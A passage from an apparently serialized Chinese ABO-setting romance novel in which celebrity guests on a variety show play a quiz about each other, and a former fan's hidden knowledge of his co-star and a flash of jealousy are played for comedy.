“汤昼恒曾经参演过电影《杀戮之始》,正确还是错误?”
方柏嘉:“……”
他就猜到节目组会把至少一个和汤昼恒有关的问题分给自己。
吐槽归吐槽,方柏嘉还是很快地点头:“正确。”
“啊?真的假的?”闻言,梁易在方柏嘉旁边立即惊讶道,“《杀戮之始》我超喜欢,看了三遍,好像没有印象……”
《杀戮之始》是好几年前一部口碑和票房都很不错的犯罪悬疑商业片,上映当年可谓是大火,被媒体评价为“小成本逆袭的典范”。
然而,鲜少有人知道汤昼恒也曾在里边出现过。
梁易越说到后面声音越小,感觉自己好像说错了话。
还以为汤昼恒在里面表现太不出彩,她才没认出来,这样讲岂不是很得罪人。
汤昼恒倒不介意,稍微回忆了一下说:“是真的。因为我演的本身也是个小角色,最后上映剪出来的出场时间只有3、4秒。”
而且还是打扮得灰扑扑的、半个身子都隐藏在黑暗里的镜头,除非是带着放大镜寻找的真爱粉,否则一般人能认出来才怪了。
梁易这才露出恍然大悟的表情。
而方柏嘉之所以这么清楚,是因为他最开始是汤昼恒的粉丝。那会儿汤昼恒还是个很糊很糊的十八线小演员,方柏嘉像许多十八线演员的粉丝一样,专门为了正主那不知道排到几番外的戏份跑去影院看一整场电影。
结果可想而知,把当时的方柏嘉气得够呛。
《杀戮之始》播出时汤昼恒才18岁,拍摄时间则还要更早。说是小角色,多少也是个六番,剧本里出场过好几回。说白了就是当时的汤昼恒还不火,影方剪片子的时候没当回事,给一剪没了。
这种能拿来当虐粉素材的东西,基本只在粉丝内部传播,方柏嘉答完的那一瞬是爽的,后面却立刻开始后悔了。
“不过,你是怎么知道这种事情的?”梁易马上觉出古怪,一脸不解地转头问方柏嘉。
“。”
他就猜到会有这种情况。
方柏嘉皮笑肉不笑地扯了扯嘴角:“这个……”
“啊,这个问题好难。”他突然做出被正在进行的下一个提问吸引去全部注意力的样子,示意对方认真听。
梁易疑惑地随着他一起侧过头。
……
问答过到第二轮。
这回被问到关于汤昼恒的问题的人是魏慈。
“请分别说出汤昼恒六只猫的名字。”
魏慈哪里知道,冲身旁两边的队友露出求助的表情。
提问到了现在,他们组答对的次数不算多,而有可能知道问题答案的人看来看去也只有方柏嘉一个。
大家的目光都不由自主地落到他身上。
被几个人一起注视着,方柏嘉一下压力山大起来,迟疑了下说:“但我也不一定能说对。”
康导:“你可以试一试。”
“好吧。”方柏嘉深吸一口气,心说不管了。
“呃,锅盔,毕加索,芝麻馅,砸手里,烧仙草,还有……”
说到最后一个的时候,他明显犹豫了很久,最后念出来的嗓音都是颤的:“咪咪?”
足以见他有多不自信。
他话音刚落,一旁的李子晋就喷了:“……咪咪?你不知道就不要乱编了好不好?画风根本不搭诶!”
果然,任谁都看得出这其中的漏洞。
方柏嘉有苦说不出。
这是他乱编吗,明明是汤昼恒故意不肯告诉自己猫的名字!
康导低头看着手里的本子。
“最后一个错了。”
方柏嘉一点也不意外。
都怪汤昼恒对他遮遮掩掩,否则他怎么会错失积分。
看方柏嘉一脸无望的样子,康导不知为何表情古怪起来,停了停又提示:“你可以试着发挥想象力猜测一下。如果猜对了,也算你回答正确。”
方柏嘉一下被这句话燃起了动力和好奇心,歪着头想了想。
既然是橘白的话,那……
“橘子?橘座?橘右京?砂糖橘?焦糖?蛋挞……或者吐司?”方柏嘉一个名字一个名字地往外蹦。
康导:“不对。不对。不对。不对——都不对。”
“行了,你这么一说,大家都知道他养的是橘猫了。”就连对面那组的人也吐槽。
“你连猫的品种都知道,居然不知道人家猫的名字?”
方柏嘉:“……”
我靠,好冤啊!
他下意识带着怨气和委屈地看了汤昼恒一眼,不等对方回应又转过头。
康导说:“给你个提示,可以往意想不到的方向猜一猜。”
意想不到?这算什么提示啊。
核弹?宇宙炸弹?完全想不出来。
方柏嘉大脑放空,实在没有思路,干脆不猜了:“我放弃,你直接告诉我正确答案吧。”
就算答错了题,能知道大橘白到底叫什么名字也好,毕竟汤昼恒那天反常的举动真的有点怪。
岂料康导又看了台本一眼,将答案合上。
“你没有权利知道问题的答案。”
“???”
合着他忙活半天全白费了?勾起他的兴趣又不告诉他谜底这合理吗?
康导完全没注意到方柏嘉的不满,因为其他人已经开始抗议上了。
“导演,你这不对吧?问来问去都是这么难的问题,很多根本明面上本人都没有提起过,你这么搞谁答得出来?”李子晋大声抱怨。
康导:“要是每个问题都很简单还比什么……算了,接下来的问题你们抢答吧。不管是谁,只要是你们队的,答出来了就可以。”
大家这才勉强消停。
就听康导问:“方柏嘉出道的契机是因为当练习生免费不要钱公司还给生活费,正确还是错误?”
“正确。”
“正确。”
这个问题一提出来,同时抢答的竟然有两个人。
汤昼恒和李子晋皆是一愣,在听到另一人的声音时转头看向对方。
李子晋很快反应过来,大声叫道:“哼哼,我可是看过方柏嘉超多采访的人!”
接着便绘声绘色描述起来,说方柏嘉在那个采访里还提到,他当时正处在缺钱的阶段,是好心网友建议他可以试着去给娱乐公司投简历,方柏嘉听说当练习生不要钱、公司还管上学就去了……
眼见李子晋说得越来越嗨,方柏嘉忍无可忍地打断他:“差不
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多得了,别揭我老底。”
说完抬起眼睫,悄悄瞧了瞧左侧不远处汤昼恒的侧脸,只见对方正一脸似笑非笑地直视着正前方,脸上的表情让人看不出来他在想什么,也可能根本就没仔细听。
……他应该不会察觉到吧,毕竟都那么久了。
方柏嘉说不清自己此刻的心情是失落还是松一口气,又把目光移了回来。
*
问答环节结束之后,接下来的两轮都是体力游戏。
做完已经是下午一点,节目暂停录制,让一众嘉宾先吃了午饭,然后才接着录剩下的内容。
两三个小时的运动消耗下来,所有人都露出了疲态,上一轮游戏是激烈的沙滩排球争夺战,更是搞得方柏嘉心率直逼170。
游戏结束后大家都累趴了,在现场或站或坐地等着导演告诉他们接下来的规则。
方柏嘉坐在节目组搭建起来的台子边,有一下没一下地调整手腕上的手表带,李子晋站在他身后,没骨头的鱼似的挂在方柏嘉的背上偷懒。
方柏嘉回头发现是他,翻了个白眼抖抖肩膀赶人:“热死了你还靠上来,身上都是汗,起开。”
李子晋被他颠得脑袋一晃一晃,还在耍无赖:“不!我现在浑身都没力气,我就靠。”
汤昼恒刚从节目组那里接过箱子,沿着队伍分发矿泉水。
一抬头,远远就看见两人的上半身紧贴在一起的这一幕。
正赖在方柏嘉身上不肯走的李子晋突然脑袋一凉,感觉有一阵寒风吹过脖颈。
他警觉而茫然地抬起头来,视线环绕一圈,却并没有找到那股寒意的源头。
于是不做他想,继续靠回方柏嘉的身上。
放在以前,方柏嘉绝不可能允许李子晋这么做,alpha身上的味儿都太冲,他真的很难忍住想要暴打对方的欲望。
但现在他第二嗅觉不够灵敏,几乎闻不到什么信息素味,方柏嘉低骂了一句“有病”,懒得抬起自己先前打排球打得酸软的手,还是没去管他。
李子晋这家伙体能不行,在alpha里水平只能算作中下,本人也不爱锻炼,平时在节目里起到的都是耍宝和活跃气氛的作用,让他运动一下就跟杀人似的。
有这么虚的alpha也是难得,方柏嘉心中暗嗤。
“给。”这时,一只手突然从旁边伸过来,递给他一瓶水。
方柏嘉抬起头,看到是汤昼恒,不由愣了一下。
不自主地就有点局促,接过来说:“谢谢。”
汤昼恒笑了笑,又给李子晋递了一瓶。
李子晋干脆道:“谢……”
他伸手去拿,第一下居然没拽动,脱手了。
嗯?
这人攥得好紧。
李子晋不信邪地又试一次,这下好了,塑料瓶没什么阻力地就到了他的手里,可能刚才对方没注意吧。
他也冲汤昼恒道了声谢。
汤昼恒回了个很有礼貌的淡笑,但似乎笑意并不达眼底,不过片刻就从两人身边走了过去。
“你老公好高。”等他走远,李子晋对着汤昼恒的背影感叹,“一米八以上的男人身高含金量就是足,我怎么觉得他一米九都有了?”
方柏嘉见怪不怪:“你这么惊讶干什么,你不也是拍戏的,在那些什么大赏上没见过?”
“见过倒是见过,这么近距离的观察真没有。”李子晋撇嘴,“你老公又不演偶像剧,我们根本不是一个赛道上的,话都没说过两句。”
停了停,他若有所思:“话说你老公是挺帅啊?他性取向是omega还是alpha,你打听过没有?”
“……?”方柏嘉几乎瞪着眼睛看他。
他和李子晋关系好,还有一部分原因,就是因为这人也喜欢alpha。
停顿好一会儿,方柏嘉憋出一句:“你问这干嘛?”
“不干嘛。”李子晋眨眨眼,“喜欢大帅逼alpha是我们A同的天性……”
一个“性”字还没说完,方柏嘉就一把勾住他的脖子向前压倒,蛮横道:“不许!警告你我同担拒否你听见没有——”
李子晋身体差点一个倒栽葱:“唉唉!知道了知道了,我就开个玩笑,你先把我放开!”